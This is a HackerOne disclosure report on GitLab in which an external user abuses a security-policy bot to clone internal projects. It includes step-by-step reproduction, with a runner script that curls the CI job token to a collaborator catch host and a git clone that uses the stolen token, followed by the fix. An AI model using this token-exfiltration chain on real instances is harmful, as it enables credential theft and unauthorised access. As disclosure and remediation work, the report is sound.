External user can abuse policy bot to gain access to internal projects
HackerOne report #2138880 by joaxcar
on 2023-09-06, assigned to GitLab Team
:
Report
Summary
A user with external
access can abuse scan execution policies
bots to gain access to internal
projects.
This epic &10756 that is now in production makes it so that any scan execution policies pipelines are run using a bot user instead of any other member of the project. This bot user only has membership to the project where it exits, but as the bot is not created as external
but as a regular user this bot can be used by an external
user to escalate access by being able to clone internal
projects.
This report builds on the knowledge described in this issue #417594 (closed)
Steps to reproduce
Use a self-hosted instance with at least Premium
subscription. We are going to use two users ADMIN
and EXTERNAL
As ADMIN:
- Log in and go to https://gitlab.example.com/admin/users and create another user and make sure to check the box
external
under "Access" - Create two groups,
internal_group
andshared_group
- In the
internal_group
create a projectinternal_project
(make sure to selectinternal
access for the project) - In the
shared_group
create a projectshared_project
- Add the
EXTERNAL
user asowner
in the projectshared_group/shared_project
As EXTERNAL prepare project runner:
The attacker needs to have access to a runner and use some form of VM to host the runner. You can use a Dropplet on any cloud provider or similar
- Log in and go to https://gitlab.example.com/shared_group/shared_project/-/settings/ci_cd and expand the
runners
tab - Click "Create new project runner"
- Fill out the form, make sure to fill in the checkbox "Run untagged jobs"
- Follow the steps presented on the screen to Create and register a runner. When asked what executor to use make sure to select "shell"
- SSH into your runner machine and create a bash file named analyzer at root level
/analyzer
run
nano /analyzer
type this in the file
### !/bin/bash
curl https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN}
sleep 3600
then run
root@ubuntu123$ chmod +x /analyzer
- The runner is ready. The bash script will leak the CI_JOB_TOKEN to your catch server and then sleep for an hour, making the token usable for the attacker
As EXTERNAL prepare the project:
- go to https://gitlab.example.com/shared_group/shared_project/ and create a new file, name it "package.json". You can leave the file empty, this is just to have a SCAN policy to run
- Go to https://gitlab.example.com/shared_group/shared_project/-/branches and create a new branch called "test"
- Go to https://gitlab.example.com/shared_group/shared_project/-/security/policies and click "Edit policy project", search for "shared_project" and select it (this is the only project the
EXTERNAL
user have access to) - Click "New Policy" and select "Select Scan execution policy"
- Switch to .yaml mode and paste this YAML
---
type: scan_execution_policy
name: test
description: hello
enabled: true
rules:
- type: schedule
branches:
- test
cadence: '*/16 * * * *'
actions:
- scan: sast
tags: []
- Select Configure with a merge request
- Select Merge.
- A new bot user will now have been created in this project. The scheduled policy will now run on the
test
branch every 16 minute - Wait for 15 mins or more and eventually you will get a request to your catch server like this
https://YOURCOLLABORATOR.oastify.com/token=${CI_JOB_TOKEN}
copy the token and use it in this curl command
CI_JOB_TOKEN=<TOKEN>
git clone https://gitlab-ci-token:${CI_JOB_TOKEN}[@]gitlab.example.com/internal_group/internal_project
This will clone the internal project which the EXTERNAL
user should not have access to
Impact
A user with external access can clone internal projects using a policy bot. (the bot also has access to a limited API set). To create a policy the attacker needs to be owner
of a project, but if the bot already exists in the project (due to scan policies being used) then the attacker only needs maintainer
access as the user only needs to do the latter part of the poc creating the runner.
What is the current bug behavior?
Policy bots are created as regular users and not as external users, thus they have access to internal projects
What is the expected correct behavior?
An external user should not be able to use an internal bot user to access internal content
Impact
A user with external access can clone internal projects using a policy bot. (the bot also have access to a limited set of the API)
How To Reproduce
Please add reproducibility information to this section:
Implementation plan
+++ b/ee/app/models/ee/user.rb
@@ -244,6 +244,12 @@ def clear_group_with_ai_available_cache(ids)
end
end
+ def external?
+ return true if security_policy_bot?
+
+ read_attribute(:external)
+ end
+
def cannot_be_admin_and_auditor
if admin? && auditor?
errors.add(:admin, 'user cannot also be an Auditor.')
diff --git a/ee/app/services/security/orchestration/create_bot_service.rb b/ee/app/services/security/orchestration/create_bot_service.rb
index 9bdf4a5e67df..e0871c3eaa9c 100644
--- a/ee/app/services/security/orchestration/create_bot_service.rb
+++ b/ee/app/services/security/orchestration/create_bot_service.rb
@@ -43,7 +43,8 @@ def bot_user_params
email: username_and_email_generator.email,
username: username_and_email_generator.username,
user_type: :security_policy_bot,
- skip_confirmation: true # Bot users should always have their emails confirmed.
+ skip_confirmation: true, # Bot users should always have their emails confirmed.
+ external: true
}
end